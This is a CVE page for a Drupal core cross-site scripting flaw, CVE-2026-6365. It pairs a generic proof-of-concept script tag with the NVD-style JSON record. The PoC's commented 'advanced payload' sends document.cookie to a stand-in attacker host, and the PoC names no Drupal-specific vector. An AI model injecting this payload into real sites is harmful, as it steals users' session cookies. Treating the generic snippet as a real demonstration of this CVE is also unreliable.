CVE-2026-6365

<!-- Proof of Concept (PoC) for CVE-2026-6365 Description: Demonstrates XSS execution by injecting a script into a vulnerable parameter. Usage: Inject the following payload into the vulnerable input field or URL. --> <script> // Malicious JavaScript payload alert('CVE-2026-6365 XSS Executed'); // Advanced payload example (Stealing Cookies): // var img = new Image(); // img.src = 'http://attacker-site.com/steal?cookie=' + document.cookie; // document.body.appendChild(img); </script>

{"cve": {"id": "CVE-2026-6365", "sourceIdentifier": "[email protected]", "published": "2026-05-19T23:16:58.103", "lastModified": "2026-05-20T14:17:03.353", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal Drupal core allows Cross-Site Scripting (XSS).\n\nThis issue affects Drupal core: from 8.0.0 before 10.5.9, from 10.6.0 before 10.6.7, from 11.0.0 before 11.2.11, from 11.3.0 before 11.3.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.drupal.org/sa-core-2026-001", "source": "[email protected]"}]}}